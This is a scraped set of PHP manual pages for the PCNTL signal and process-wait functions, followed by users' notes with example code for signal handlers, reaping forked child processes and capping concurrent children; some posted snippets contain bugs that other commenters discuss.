
Specifies whether system call restarting should be used when this signal arrives.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
4.3.0 | The restart_syscalls parameter was added.
4.3.0 | The ability to use an object method as a callback became available.
4.3.0 | As of PHP 4.3.0 PCNTL uses ticks as the signal handle callback mechanism, which is much faster than the previous mechanism. This change follows the same semantics as using "user ticks". You must use the declare() statement to specify the locations in your program where callbacks are allowed to occur for the signal handler to function properly (as used in the above example).

Examples

Example #1 pcntl_signal() example

<?php
// tick use required as of PHP 4.3.0
declare(ticks = 1);

// signal handler function
function sig_handler($signo)
{

     switch ($signo) {
         case SIGTERM:
             // handle shutdown tasks
             exit;
             break;
         case SIGHUP:
             // handle restart tasks
             break;
         case SIGUSR1:
             echo "Caught SIGUSR1...\n";
             break;
         default:
             // handle all other signals
     }

}

echo "Installing signal handler...\n";

// setup signal handlers
pcntl_signal(SIGTERM, "sig_handler");
pcntl_signal(SIGHUP,  "sig_handler");
pcntl_signal(SIGUSR1, "sig_handler");

// or use an object, available as of PHP 4.3.0
// pcntl_signal(SIGUSR1, array($obj, "do_something");

echo"Generating signal SIGTERM to self...\n";

// send SIGUSR1 to current process id
posix_kill(posix_getpid(), SIGUSR1);

echo "Done\n";

?>

See Also

  • pcntl_fork() - Forks the currently running process
  • pcntl_waitpid() - Waits on or returns the status of a forked child

User Contributed Notes

Aurelien Marchand 04-Mar-2011 07:22
I was having some issues with processing a signal using an object method I use for something else as well. In particular, I wanted to handle SIGCHLD with my own method "do_reap()" which I also call after a stream_select timeout and that uses a non-blocking pcntl_waitpid function.

The method was called when the signal was received but it couldn't reap the child.

The only way it worked was by creating a new handler that itself called do_reap().

So in other words, the following does not work:

<?php
class Parent {
  /* ... */
  private function do_reap(){
    $p = pcntl_waitpid(-1,$status,WNOHANG);
    if($p > 0){
      echo "\nReaped zombie child " . $p;
    }

   public function run(){
    /* ... */
    pcntl_signal(SIGCHLD,array(&$this,"do_reap"));
    $readable = @stream_select($read,$null,$null,5); // 5 sec timeout
    if($readable === 0){
      // we got a timeout
      $this->do_reap();
   }
}
?>

But this work:

<?php
class Parent {
  /* ... */
  private function do_reap(){
    $p = pcntl_waitpid(-1,$status,WNOHANG);
    if($p > 0){
      echo "\nReaped zombie child " . $p;
    }

   public function run(){
    /* ... */
    pcntl_signal(SIGCHLD,array(&$this,"child_died"));
    $readable = @stream_select($read,$null,$null,5); // 5 sec timeout
    if($readable === 0){
      // we got a timeout
      $this->do_reap();
   }

    private function child_died(){
      $this->do_reap();
    }
}
?>
webmaster at ajeux dot com 10-Aug-2009 06:56
For PHP >= 5.3.0, instead of declare(ticks = 1), you should now use pcntl_ signal_ dispatch().
benjamin at josefus dot /NO+SPAM/ net 24-Jul-2009 01:25
Since php >= 5.3 handles Closures, you are now able to define the Callback directly.
Try this:

<?php
declare(ticks = 1);

pcntl_signal(SIGUSR1, function ($signal) {
            echo 'HANDLE SIGNAL ' . $signal . PHP_EOL;
});

posix_kill(posix_getpid(), SIGUSR1);

die;
?>
ewout dot NOSPAM dot zigterman at custosys dot nl 21-Apr-2009 08:32
I found out then when you use pcntl_signal in a 'deamon' script and you run it before you fork childs it does not work as expected.

instead you need to use pcntl_signal in the child code of the child you are forking

and if you want to cach signals for the 'deamon' part you should use pcntl_signal in the parent code.
seong at respice dot net 14-Feb-2009 08:48
Be careful, when using an object in your callback. It seems this elevates the reference count. You may not want it to happen in repeated child processes.
rbotzer at yahoo dot com 21-Jun-2008 11:50
You cannot assign a signal handler for SIGKILL (kill -9).
Holger Hees 09-Jun-2008 12:49
you should use following code to prevent situation described by anxious2006 (children exit near simultaneously)

public function sig_handler($signo){
  switch ($signo) {
    case SIGCLD:
      while( ( $pid = pcntl_wait ( $signo, WNOHANG ) ) > 0 ){
        $signal = pcntl_wexitstatus ( $signo );
      }
      break;
  }
}
Anonymous 20-Dec-2007 08:44
Multiple children return less than the number of children exiting at a given moment SIGCHLD signals is normal behavior for Unix (POSIX) systems.  SIGCHLD might be read as "one or more children changed status -- go examine your children and harvest their status values".  Signals are implemented as bit masks in most Unix systems, so there can only be 1 SIGCHLD bit set in any given kernel tick for a process.
anxious2006 30-Oct-2007 09:35
Under my setup (FreeBSD 6.2-RELEASE / PHP 5.2.4 CLI) I've noticed that when a child exits the SIGCHLD handler in the parent is not always invoked. It seems to happen when two children exit near simultaneously.

In this instance the child prints "EXIT" and the parent prints "SIGCHLD received":

- EXIT
- SIGCHLD received

This works as expected, but now look what happens when three exit in quick succession:

- EXIT
- EXIT
- EXIT
- SIGCHLD received
- SIGCHLD received

Because of this quirk any code which tries to limit the maximum number of children by incrementing on fork and decrementing on SIGCHLD will eventually end up with a single child (or no further forks), since the "active children" count is always above the maximum. I've noticed similar behaviour with using decrement after pcntl_wait(). Hopefully there's a workaround for this.
rob at robertjohnkaper dot com 16-Nov-2006 03:00
Tip: when using objects, don't set the signal handler from the constructor or even a method called from the constructor - your internal variables will be uninitialised.
nate at example dot com 29-Oct-2006 04:10
If you have a script that needs certain sections to not be interrupted by a signal (especially SIGTERM or SIGINT), but want to make your script ready to process that signal ASAP, there's only one way to do it. Flag the script as having received the signal, and wait for your script to say its ready to process it.

Here's a sample script:

<?
    $allow_exit = true;  // are we permitting exit?
    $force_exit = false; // do we need to exit?

    declare(ticks = 1);
    register_tick_function('check_exit');
    pcntl_signal(SIGTERM, 'sig_handler');
    pcntl_signal(SIGINT, 'sig_handler');

    function sig_handler () {
        global $allow_exit, $force_exit;

        if ($allow_exit)
            exit;
        else
            $force_exit = true;
    }

    function check_exit () {
        global $allow_exit, $force_exit;

        if ($force_exit && $allow_exit)
            exit;
    }

    $allow_exit = false;

    $i = 0;
    while (++$i) {
        echo "still going (${i})\n";
        if ($i == 10)
            $allow_exit = true;

        sleep(2);
    }
?>

You set $allow_exit to true at all times when it is perfectly acceptable that your script could exit without warning. In sections where you really need the script to continue running, you set $allow_exit to false. Any signals received while $allow_exit is false will not take effect until you set $allow_exit to true.

<?
    $allow_exit = true;

    // unimportant stuff here. exiting will not harm anything

    $allow_exit = false;

    // really important stuff not to be interrupted

    $allow_exit = true;

    // more unimportant stuff. if signal was received during
    // important processing above, script will exit here
?>
imslushie at hotmaildotcom dot com 04-Oct-2006 07:16
I have been having trouble reaping my child process. It seemed most of the time, children were reaped properly but *sometimes* they would stay as zombies. I was catching the CHLD signal to reap child processes with the following code:

<?php

function childFinished($signal)
{
  global $kids;
  $kids--;
  pcntl_waitpid(-1, $status);
}

$kids = 0;
pcntl_signal(SIGCHLD, "childFinished");
for ($i = 0; $i < 1000; $i++)
{
  while ($kids >= 50) sleep(1);

  $pid = pcntl_fork();
  if ($pid == -1) die('failed to fork :(');

  /* child process */
  if ($pid == 0)
  {
    /* do something */
    exit(0);
  }

  /* parent */
  else { $kids++; }
}

/* when finished, just clean up the children */
print "Reaping $kids children...\n";
while ($kids) sleep(1);

print "Finished.\n";
?>

The problem was, $kids never became zero so it would effectively wait forever. After wracking my brains (UNIX forks are new to me) I finally read the Perl IPC docs and viola, a solution! It turns out that because signal handlers are not re-entrant, my handler will not be called again while it is in use. The scenario that caused me trouble was that one child would exit and call the signal handler, which would pcntl_waitpid() it and decrement the counter. Meanwhile, another child would exit while the first child was still being reaped,  so the second would never get to notify the parent!

The solution was to continually reap children from the SIGCHLD handler, so long as there were children to reap. Here is the *fixed* childFinished function:

<?php

function childFinished($signal)
{
  global $kids;

  while( pcntl_waitpid(-1, $status, WNOHANG) > 0 )
    $kids--;
}

?>
aeolianmeson at NOSPAXM dot blitzeclipse dot com 09-Jun-2006 01:19
This issue occurs in at least PHP 5.1.2.

When a SIGINT is sent via CTRL+C or CTRL+BREAK, the handler is called. If this handler sends a SIGTERM to other children, the signals are not received.

SIGINT can be sent via posix_kill() and it work exactly as expected-- This only applies when initiated via a hard break.
aeolianmeson at NOSPAM dot blitzeclipse dot com 29-May-2006 08:43
In at least version 5.1.4, the parameter passed to the handler is not a strict integer.

I have had such problems as trying to add the signal to an array, but the array is completely screwed up when viewed (but not viewed immediately after being added). This occurs when the handler is a method (array($this, 'methodname')), or a traditional functions.

To avoid this bug, typecast the parameter to an integer:
(note that each newline may appear to just be 'n'.)

<?php
print("pid= " . posix_getpid() . "\n");
declare(ticks=1);
$arrsignals = array();

function handler($nsig)
{
    global $arrsignals;
    $arrsignals[] = (int)$nsig;
    print("Signal caught and registered.\n");
    var_dump($arrsignals);
}

pcntl_signal(SIGTERM, 'handler');

// Wait for signals from the command-line (just a simple 'kill (pid)').
$n = 15;
while($n)
{
    sleep(1);
    $n--;
}

print("terminated.\n\n");
var_dump($arrsignals);
?>

Dustin
zenyatta22 at hotmail 28-Mar-2006 02:26
Process handling is not available when using a blocking socket! Bear this in mind.
sezer yalcin 12-Jan-2006 12:29
You should pay attention to this issue.

I realized "some" files need specific declare() where some do not.

It is good idea to include in all "main" files, not in include files.

junkmail at konvergencia dot hu
06-May-2003 04:21
It seems like the scope of declare() when used in it's new global form e.g.
  declare(ticks = 1);

is restricted to the file it is used in and the one's include() -ed or require() -ed by the script. So you can NOT do this:
wm161 at wm161 dot net 10-Jan-2006 03:45
When you are running a script inside of a loop that checks a socket, and it hangs on that checking (Either by flaw or design), it can't handle signals until some data is received.

A suggested workaround would be to use the stream_set_blocking function, or stream_select on the offending reads.
erik at phpcastle dot com 27-Dec-2005 03:46
When you want to stop a CLI script by a keyboard interupt then you should use SIGINT.

Example script:
#!/usr/bin/php5
<?php

// tick use required as of PHP 4.3.0
declare(ticks = 1);

// signal handler function
function sig_handler($signo)
{

         switch ($signo) {
                 case SIGINT:
                         // handle shutdown tasks
                         echo "Keyboard pressed...\n";
                         exit;
                         break;
                 default:
                         // handle all other signals
         }

}

echo "Installing signal handler...\n";

// setup signal handlers
pcntl_signal(SIGINT, "sig_handler");

// or use an object, available as of PHP 4.3.0
// pcntl_signal(SIGUSR1, array($obj, "do_something");

// Just a stupid simple loop
for ($i = 1; $i <= 10; $i++){
    echo ".";
    sleep(1);

}

echo "Done\n"

?>
codeslinger at compsalot dot com 03-Feb-2005 09:23
I ran into an interesting problem. CLI 4.3.10 Linux

The parent forked a child.  The child did a bunch of stuff, and when it was done it sent SIGUSR1 to the parent and immediately exited.

Result:
The child turned into a zombie process waiting for the parent to harvest it, as it should.

But the parent was unable to harvest the child because it was receiving an endless barrage of SIGUSR1s.  In fact, it logged over 200000 before I shut it down (SIGKILL).  The parent was not able to do anything else (respond to other events) during that time.

No, it wasn't a bug in my child code.  Apparently, after sending a signal there is some "behind the covers" work that needs to occur to acknowledge signal completion, and when you exit immediately it is not able to happen, so the system just keeps trying.

Solution:  I introduced a small delay in the child, after sending the signal, and before exiting.
No more Sig loops...

----------

P.S.  With respect to the note below.  The whole point of the sleep function is to enable the processing of other events.  So, yes, your non-renterent code, will suddenly get re-entered when you do a sleep, because you have just handed off control to the next pending event.

Ignoring the signal is only an option if the signal is unimportant to your program....   The better way to approach it, is to not do lengthy processing inside of the signal event.  Instead set a global flag and get the heck out of there as fast as possible.  Allow another part of your program to check the flag and do the processing outside of the signal event.  Usually your program is in some kind of loop when it is receiving signals, so checking a flag regularly shouldn't be a problem.
ieure at php dot net 19-Jan-2005 05:15
Some weird signal interactions going on here. I'm running PHP 4.3.9.

sleep() calls seem to be interrupted when any signal is received by the PHP script. But things get weird when you sleep() inside a signal handler.

Ordinarily, signal handlers are non-reentrant. That is, if the signal handler is running, sending another signal has no effect. However, sleep() seems to override PHP's signal handling. If you sleep() inside a signal handler, the signal is received and the sleep() is interrupted.

This can be worked around like this:

function handler($signal)
{
    // Ignore this signal
    pcntl_signal($signal, SIG_IGN);

    sleep(10);

    // Reinstall signal handler
    pcntl_signal($signal, __FUNCTION__);
}

I don't see any mention of this behavior in the documentation.
cp at ltur dot de 09-Dec-2004 02:21
@spam at etcpasswd dot de

Yes it is possible to use a Handler inside of a Class:

<?php
declare(ticks = 1);

class SignalHandler
{
    function __construct() {
        $this->_init();
    }
    function _init() {
        pcntl_signal(SIGTERM, array(&$this,"handleSignals"));
    }
    function handleSignals($signal)
    {
        echo "$signal\n";
    }

}
$o = new SignalHandler();
posix_kill(getmypid(),SIGTERM);
// prints 15
?>

HTH
.Ape
junkmail at konvergencia dot hu 06-May-2003 04:21
It seems like the scope of declare() when used in it's new global form e.g.
  declare(ticks = 1);

is restricted to the file it is used in and the one's include() -ed or require() -ed by the script. So you can NOT do this:

main.php:
<?php

  include ('signals.php');

  do_something_here();

?>

signals.php:
<?php

 declare(ticks = 1);

  function sig_handler($signo) {
     handle_the_signal_here();
  }

  pcntl_signal (SIGINT, 'sig_handler');

?>

Your signal handler function will not be called. In the above examples you have to declare() in the main.php file.
daniel[at]lorch.cc 27-Feb-2002 06:17
There are two documents I consider reading:

  Unix Signals Programming
  http://users.actcom.co.il/~choo/lupg/tutorials/

  Beej's Guide to Unix Interprocess Communication
  http://www.ecst.csuchico.edu/~beej/guide/ipc/

Also, have a look at the manpage:

  http://www.mcsr.olemiss.edu/cgi-bin/man-cgi?signal+5
pcntl_signal_dispatch
pcntl_sigprocmask
PCNTL Functions


Sets and retrieves blocked signals

pcntl_signal
pcntl_sigtimedwait
PCNTL Functions
PHP Manual

pcntl_sigprocmask

(PHP 5 >= 5.3.0)

pcntl_sigprocmask — Sets and retrieves blocked signals

Description

bool pcntl_sigprocmask ( int $how , array $set [, array &$oldset ] )

The pcntl_sigprocmask() function adds, removes or sets blocked signals, depending on the how parameter.

Parameters

how

Sets the behavior of pcntl_sigprocmask(). Possible values:

  • SIG_BLOCK: Add the signals to the currently blocked signals.
  • SIG_UNBLOCK: Remove the signals from the currently blocked signals.
  • SIG_SETMASK: Replace the currently blocked signals by the given list of signals.

set

List of signals.

oldset

The oldset parameter is set to an array containing the list of the previously blocked signals.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pcntl_sigprocmask() example

<?php
pcntl_sigprocmask(SIG_BLOCK, array(SIGHUP));
$oldset = array();
pcntl_sigprocmask(SIG_UNBLOCK, array(SIGHUP), $oldset);
?>

See Also

  • pcntl_sigwaitinfo() - Waits for signals
  • pcntl_sigtimedwait() - Waits for signals, with a timeout

User Contributed Notes

There are no user contributed notes for this page.
pcntl_signal
pcntl_sigtimedwait
PCNTL Functions


Waits for signals, with a timeout

pcntl_sigprocmask
pcntl_sigwaitinfo
PCNTL Functions
PHP Manual

pcntl_sigtimedwait

(PHP 5 >= 5.3.0)

pcntl_sigtimedwait — Waits for signals, with a timeout

Description

int pcntl_sigtimedwait ( array $set [, array &$siginfo [, int $seconds = 0 [, int $nanoseconds = 0 ]]] )

The pcntl_sigtimedwait() function operates in exactly the same way as pcntl_sigwaitinfo() except that it takes two additional parameters, seconds and nanoseconds, which enable an upper bound to be placed on the time for which the script is suspended.

Parameters

set

Array of signals to wait for.

siginfo

The siginfo is set to an array containing informations about the signal. See pcntl_sigwaitinfo().

seconds

Timeout in seconds.

nanoseconds

Timeout in nanoseconds.

Return Values

On success, pcntl_sigtimedwait() returns a signal number.

See Also

  • pcntl_sigprocmask() - Sets and retrieves blocked signals
  • pcntl_sigwaitinfo() - Waits for signals

User Contributed Notes

kak dot serpom dot po dot yaitsam at gmail dot com 26-Jul-2009 03:50
In the case if pcntl_sigtimedwait() is unavailable (under Mac OS, under PHP < 5.3), you can pick up the workaround:

<?php
if (!function_exists('pcntl_sigtimedwait'))
{
 function pcntl_sigtimedwait($signals,$siginfo,$sec,$nano)
 {
  pcntl_signal_dispatch();
  if (time_nanosleep($sec,$nano) === TRUE) {return FALSE;}
  pcntl_signal_dispatch();
  return TRUE;
 }
}
?>

Behaviour of this function differs from original one. This function returns true if a signal was retrieved and false if it was not retrieved. However, the timeout will be interrupted immediately when signal sent.
pcntl_sigprocmask
pcntl_sigwaitinfo
PCNTL Functions


Waits for signals

pcntl_sigtimedwait
pcntl_wait
PCNTL Functions
PHP Manual

pcntl_sigwaitinfo

(PHP 5 >= 5.3.0)

pcntl_sigwaitinfo — Waits for signals

Description

int pcntl_sigwaitinfo ( array $set [, array &$siginfo ] )

The pcntl_sigwaitinfo() function suspends execution of the calling script until one of the signals given in set are delivered. If one of the signal is already pending (e.g. blocked by pcntl_sigprocmask()), pcntl_sigwaitinfo() will return immediately.

Parameters

set

Array of signals to wait for.

siginfo

The siginfo parameter is set to an array containing informations about the signal.

The following elements are set for all signals:

  • signo: Signal number
  • errno: An error number
  • code: Signal code

The following elements may be set for the SIGCHLD signal:

  • status: Exit value or signal
  • utime: User time consumed
  • stime: System time consumed
  • pid: Sending process ID
  • uid: Real user ID of sending process

The following elements may be set for the SIGILL, SIGFPE, SIGSEGV and SIGBUS signals:

  • addr: Memory location which caused fault

The following element may be set for the SIGPOLL signal:

  • band: Band event
  • fd: File descriptor number

Return Values

On success, pcntl_sigwaitinfo() returns a signal number.

Examples

Example #1 pcntl_sigwaitinfo() example

<?php
echo "Blocking SIGHUP signal\n";
pcntl_sigprocmask(SIG_BLOCK, array(SIGHUP));

echo "Sending SIGHUP to self\n";
posix_kill(posix_getpid(), SIGHUP);

echo "Waiting for signals\n";
$info = array();
pcntl_sigwaitinfo(array(SIGHUP), $info);
?>

See Also

  • pcntl_sigprocmask() - Sets and retrieves blocked signals
  • pcntl_sigtimedwait() - Waits for signals, with a timeout

User Contributed Notes

There are no user contributed notes for this page.
pcntl_sigtimedwait
pcntl_wait
PCNTL Functions


Waits on or returns the status of a forked child

pcntl_sigwaitinfo
pcntl_waitpid
PCNTL Functions
PHP Manual

pcntl_wait

(PHP 5)

pcntl_wait — Waits on or returns the status of a forked child

Description

int pcntl_wait ( int &$status [, int $options = 0 ] )

The wait function suspends execution of the current process until a child has exited, or until a signal is delivered whose action is to terminate the current process or to call a signal handling function. If a child has already exited by the time of the call (a so-called "zombie" process), the function returns immediately. Any system resources used by the child are freed. Please see your system's wait(2) man page for specific details as to how wait works on your system.

Note:

This function is equivalent to calling pcntl_waitpid() with a -1 pid and no options.

Parameters

status

pcntl_wait() will store status information
in the status parameter which can be
evaluated using the following functions:
pcntl_wifexited(),
pcntl_wifstopped(),
pcntl_wifsignaled(),
pcntl_wexitstatus(),
pcntl_wtermsig() and
pcntl_wstopsig().

options

If wait3 is available on your system (mostly BSD-style systems), you can provide the optional options parameter. If this parameter is not provided, wait will be used for the system call. If wait3 is not available, providing a value for options will have no effect. The value of options is the value of zero or more of the following two constants OR'ed together:

Possible values for options
WNOHANG | Return immediately if no child has exited.
WUNTRACED | Return for children which are stopped, and whose status has not been reported.

Return Values

pcntl_wait() returns the process ID of the child which exited, -1 on error or zero if WNOHANG was provided as an option (on wait3-available systems) and no child was available.

See Also

  • pcntl_fork() - Forks the currently running process
  • pcntl_signal() - Installs a signal handler
  • pcntl_wifexited() - Checks if status code represents a normal exit
  • pcntl_wifstopped() - Checks whether the child process is currently stopped
  • pcntl_wifsignaled() - Checks whether the status code represents a termination due to a signal
  • pcntl_wexitstatus() - Returns the return code of a terminated child
  • pcntl_wtermsig() - Returns the signal which caused the child to terminate
  • pcntl_wstopsig() - Returns the signal which caused the child to stop
  • pcntl_waitpid() - Waits on or returns the status of a forked child

User Contributed Notes

duerra at yahoo dot com 01-Jul-2010 07:12
Oops, I stripped just a little much from the job daemon code in the previous comment.  You'll want to add a little line before the ->launchJob() method is called:

<?php

while(count($this->currentJobs) >= $this->maxProcesses){
    echo "Maximum children allowed, waiting...\n";
    sleep(1);
}
duerra at yahoo dot com 01-Jul-2010 06:45
Using pcntl_fork() can be a little tricky in some situations.  For fast jobs, a child can finish processing before the parent process has executed some code related to the launching of the process.  The parent can receive a signal before it's ready to handle the child process' status.  To handle this scenario, I add an id to a "queue" of processes in the signal handler that need to be cleaned up if the parent process is not yet ready to handle them.

<?php
declare(ticks=1);
//A very basic job daemon that you can extend to your needs.
class JobDaemon{

    public $maxProcesses = 25;
    protected $jobsStarted = 0;
    protected $currentJobs = array();
    protected $signalQueue=array();
    protected $parentPID;

    public function __construct(){
        echo "constructed \n";
        $this->parentPID = getmypid();
        pcntl_signal(SIGCHLD, array($this, "childSignalHandler"));
    }

    /**
    * Run the Daemon
    */
    public function run(){
        echo "Running \n";
        for($i=0; $i<10000; $i++){
            $jobID = rand(0,10000000000000);
            $launched = $this->launchJob($jobID);
        }

        //Wait for child processes to finish before exiting here
        while(count($this->currentJobs)){
            echo "Waiting for current jobs to finish... \n";
            sleep(1);
        }
    }

    /**
    * Launch a job from the job queue
    */
    protected function launchJob($jobID){
        $pid = pcntl_fork();
        if($pid == -1){
            //Problem launching the job
            error_log('Could not launch new job, exiting');
            return false;
        }
        else if ($pid){
            // Parent process
            // Sometimes you can receive a signal to the childSignalHandler function before this code executes if
            // the child script executes quickly enough!
            //
            $this->currentJobs[$pid] = $jobID;

            // In the event that a signal for this pid was caught before we get here, it will be in our signalQueue array
            // So let's go ahead and process it now as if we'd just received the signal
            if(isset($this->signalQueue[$pid])){
                echo "found $pid in the signal queue, processing it now \n";
                $this->childSignalHandler(SIGCHLD, $pid, $this->signalQueue[$pid]);
                unset($this->signalQueue[$pid]);
            }
        }
        else{
            //Forked child, do your deeds....
            $exitStatus = 0; //Error code if you need to or whatever
            echo "Doing something fun in pid ".getmypid()."\n";
            exit($exitStatus);
        }
        return true;
    }

    public function childSignalHandler($signo, $pid=null, $status=null){

        //If no pid is provided, that means we're getting the signal from the system.  Let's figure out
        //which child process ended
        if(!$pid){
            $pid = pcntl_waitpid(-1, $status, WNOHANG);
        }

        //Make sure we get all of the exited children
        while($pid > 0){
            if($pid && isset($this->currentJobs[$pid])){
                $exitCode = pcntl_wexitstatus($status);
                if($exitCode != 0){
                    echo "$pid exited with status ".$exitCode."\n";
                }
                unset($this->currentJobs[$pid]);
            }
            else if($pid){
                //Oh no, our job has finished before this parent process could even note that it had been launched!
                //Let's make note of it and handle it when the parent process is ready for it
                echo "..... Adding $pid to the signal queue ..... \n";
                $this->signalQueue[$pid] = $status;
            }
            $pid = pcntl_waitpid(-1, $status, WNOHANG);
        }
        return true;
    }
}
digitalaudiorock at gmail dot com 21-Jun-2010 02:44
I was unable to get pcntl_wait or pcntl_waitpid to terminate when I had an active signal handler.  I then noticed the post below from gaylord at 100days dot de, however I'm a little confused by that post as I found the exact opposite to be true.  The default value of the third parameter of pcntl_signal (the restart_syscalls parameter) is true and this seems to cause the wait to continue when the signal arrives.  In order to prevent this I had to expressly set it to false.  That is:

pcntl_signal(SIGTERM, 'my_handler_function', false);
gaylord at 100days dot de 16-Jun-2010 05:17
pcntl_wait will not terminate on signals if you have a PHP signal handler activated (pcntl_signal).
This is unless the signal handler was activated with 3rd parameter=true.

Example:
<?php
declare(ticks=1);
pcntl_signal(SIGTERM, "myHandler");
$pid=pcntl_wait($status);
?>

This will not terminate on SIGTERM sent to the process, because "wait" will be restarted after php recieves the signal. The signal handler "myHandler" will not be called unless pcntl_wait terminates for some other reason.

Change to:
<?php
declare(ticks=1);
pcntl_signal(SIGTERM, "myHandler", true);
$pid=pcntl_wait($status);
?>

Now the pcntl_wait terminates when a signal comes in and "myHandler" will be called on SIGTERM. (Make sure to put the wait in a loop though, because it will now not only terminate when a child exits but also when a signal arrives. Test for $pid>0 to detect a exit message from a child)
(thanks to Andrey for helping me debugging this)
thomas dot nicolai at unisg dot ch 24-Mar-2006 11:19
The code before isnt working for me cause the children are correctly started but not refreshed after they died. So keep in mind to use this instead and use the signal handler to know when a child exits to know when you have to start a new one. I added a few lines to the posting from {andy at cbeyond dot net} cause his post wasnt working for me as well (PHP5.1). Same effect like the one below.

<?php
declare(ticks = 1);

$max=5;
$child=0;

// function for signal handler
function sig_handler($signo) {
  global $child;
  switch ($signo) {
   case SIGCHLD:
     echo "SIGCHLD received\n";
     $child--;
  }
}

// install signal handler for dead kids
pcntl_signal(SIGCHLD, "sig_handler");

while (1){
       $child++;
       $pid=pcntl_fork();

       if ($pid == -1) {
               die("could not fork");
       } else if ($pid) {

               // we are the parent
               if ( $child >= $max ){
                   pcntl_wait($status);
                   $child++;
               }
       } else {
               // we are the child
               echo "\t Starting new child | now we de have $child child processes\n";
               // presumably doing something interesting
               sleep(rand(3,5));
               exit;
       }
}
?>
federico at nextware dot it 19-Feb-2006 04:39
This a simple multi process application where you can choose
the maximun process that can run at the same time.
This is useful when you need to limit the fork of process.
When the MAXPROCESS is reached the program wait on pcntl_wait()

<?php

DEFINE(MAXPROCESS,25);

for ($i=0;$i<100;$i++){
    $pid = pcntl_fork();

    if ($pid == -1) {
       die("could not fork");
    } elseif ($pid) {
                echo "I'm the Parent $i\n";
        $execute++;
        if ($execute>=MAXPROCESS){
            pcntl_wait($status);
            $execute--;
        }
    } else {
       echo "I am the child, $i pid = $pid \n";
       sleep(rand(1,3));
       echo "Bye Bye from $i\n";
       exit;
    }
}
?>
thisisroot at gmail dot com 19-Oct-2005 07:14
Below is a simple example of forking some children and timing the total duration (useful for stress tests).

<?php

$isParent    = true;
$children    = array();
$start        = microtime( true);

/* Fork you!
 * (Sorry, I had to)
 */
$ceiling = $CONCURRENCY - 1;

for ( $i = 0; (( $i < $ceiling) && ( $isParent)); $i++) {
    $pid = pcntl_fork();
    if ( $pid === 0) {
        $isParent = false;

    } elseif ( $pid != -1) {
        $children[] = $pid;

    }

}

/* Process body */
echo "Do stuff here\n";

/* Cleanup */
if ( $isParent) {
    $status = null;
    while ( count( $children)) {
        pcntl_wait( $status);
        array_pop( $children);
    }

    echo "Completed in " . ( microtime( true) - $start) . " seconds.\n";

}

?>
pcntl_sigwaitinfo
pcntl_waitpid
PCNTL Functions


Waits on or returns the status of a forked child

pcntl_wait
pcntl_wexitstatus
PCNTL Functions
PHP Manual

pcntl_waitpid

(PHP 4 >= 4.1.0, PHP 5)

pcntl_waitpid — Waits on or returns the status of a forked child

Description

int pcntl_waitpid ( int $pid , int &$status [, int $options = 0 ] )

Suspends execution of the current process until a child as specified by the pid argument has exited, or until a signal is delivered whose action is to terminate the current process or to call a signal handling function.

If a child as requested by pid has already exited by the time of the call (a so-called "zombie" process), the function returns immediately. Any system resources used by the child are freed. Please see your system's waitpid(2) man page for specific details as to how waitpid works on your system.

Parameters

pid

The value of pid can be one of the following:

possible values for pid
< -1 | wait for any child process whose process group ID is equal to the absolute value of pid.
-1 | wait for any child process; this is the same behaviour that the wait function exhibits.
0 | wait for any child process whose process group ID is equal to that of the calling process.
> 0 | wait for the child whose process ID is equal to the value of pid.

Note:

Specifying -1 as the pid is equivalent to the functionality pcntl_wait() provides (minus options).

status

pcntl_waitpid() will store status information
in the status parameter which can be
evaluated using the following functions:
pcntl_wifexited(),
pcntl_wifstopped(),
pcntl_wifsignaled(),
pcntl_wexitstatus(),
pcntl_wtermsig() and
pcntl_wstopsig().

options

The value of options is the value of zero or more of the following two global constants OR'ed together:

possible values for options
WNOHANG | return immediately if no child has exited.
WUNTRACED | return for children which are stopped, and whose status has not been reported.

Return Values

pcntl_waitpid() returns the process ID of the child which exited, -1 on error or zero if WNOHANG was used and no child was available

See Also

  • pcntl_fork() - Forks the currently running process
  • pcntl_signal() - Installs a signal handler
  • pcntl_wifexited() - Checks if status code represents a normal exit
  • pcntl_wifstopped() - Checks whether the child process is currently stopped
  • pcntl_wifsignaled() - Checks whether the status code represents a termination due to a signal
  • pcntl_wexitstatus() - Returns the return code of a terminated child
  • pcntl_wtermsig() - Returns the signal which caused the child to terminate
  • pcntl_wstopsig() - Returns the signal which caused the child to stop

User Contributed Notes

brian dot ngure at gmail dot com 08-Jul-2009 08:03
Please note that you must use bitwise OR | in the following:

"The value of options is the value of zero or more of the following two global constants OR'ed together"

i.e.

WNOHANG | WUNTRACED
tunderzone at gmail dot com 25-Jun-2009 06:26
A better way to do this and not end up having zombie processes until all child processes ends is like this:

<?php
        $i = 0;
        $starttime = microtime(TRUE);
        $pid_arr = array();
        while ($i < intval($argv[1]))
        {
            $pid = pcntl_fork();
            if ($pid == -1)
            {
                die('could not fork');
            }
            else
            {
                if ($pid) // parent
                {
                    $pid_arr[$i] = $pid;
                }
                else // child
                {
                    performSomeFunction($i+1);
                }
            }
            $i++;
        }

        while(count($pid_arr) > 0)
        {
                $myId = pcntl_waitpid(-1, $status, WNOHANG);
                foreach($pid_arr as $key => $pid)
                {
                        if($myId == $pid) unset($pid_arr[$key]);
                }
                usleep(100);
        }

        $elapsed = microtime(TRUE) - $starttime;
        print "\n==> total elapsed: " . sprintf("%f secs.\n", $elapsed);
?>
saguto dot l7cc at gmail dot com 09-Apr-2008 09:09
please note, if you using configure option --enable-sigchild(Enable PHP's own SIGCHLD handler) when complie php(under linux 2.6.18-53.1.13.el5.centos.plus and php 5.2.5 as I know), pcntl_waitpid and pcntl_wait in php script would never return the child pid, because the build in handle get it first.
Kevin 10-May-2006 03:40
---
       while ($i < intval($argv[1]))
       {
           $pid = pcntl_fork();
           if ($pid == -1)
           {
               die('could not fork');
           }
           else
           {
               if ($pid) // parent
               {
                   $pid_arr[$i] = $pid;
               }
               else // child
               {
                   performSomeFunction($i+1);
               }
           }
           $i++;
       }
---

careful, this will create a lot more children than you probably expect. You must return or exit after performSomeFunction($i+1); ie,

               else // child
               {
                   performSomeFunction($i+1);
                   exit(0);
               }
admin at albert dot us dot com 06-Mar-2006 10:48
Here's a decent example of the pcntl_waitpid() call:

        $i = 0;
        $starttime = microtime(TRUE);
        $pid_arr = array();
        while ($i < intval($argv[1]))
        {
            $pid = pcntl_fork();
            if ($pid == -1)
            {
                die('could not fork');
            }
            else
            {
                if ($pid) // parent
                {
                    $pid_arr[$i] = $pid;
                }
                else // child
                {
                    performSomeFunction($i+1);
                }
            }
            $i++;
        }
        foreach ($pid_arr as $pid)
        {
            // we are the parent
            pcntl_waitpid($pid, $status);
        }
        $elapsed = microtime(TRUE) - $starttime;
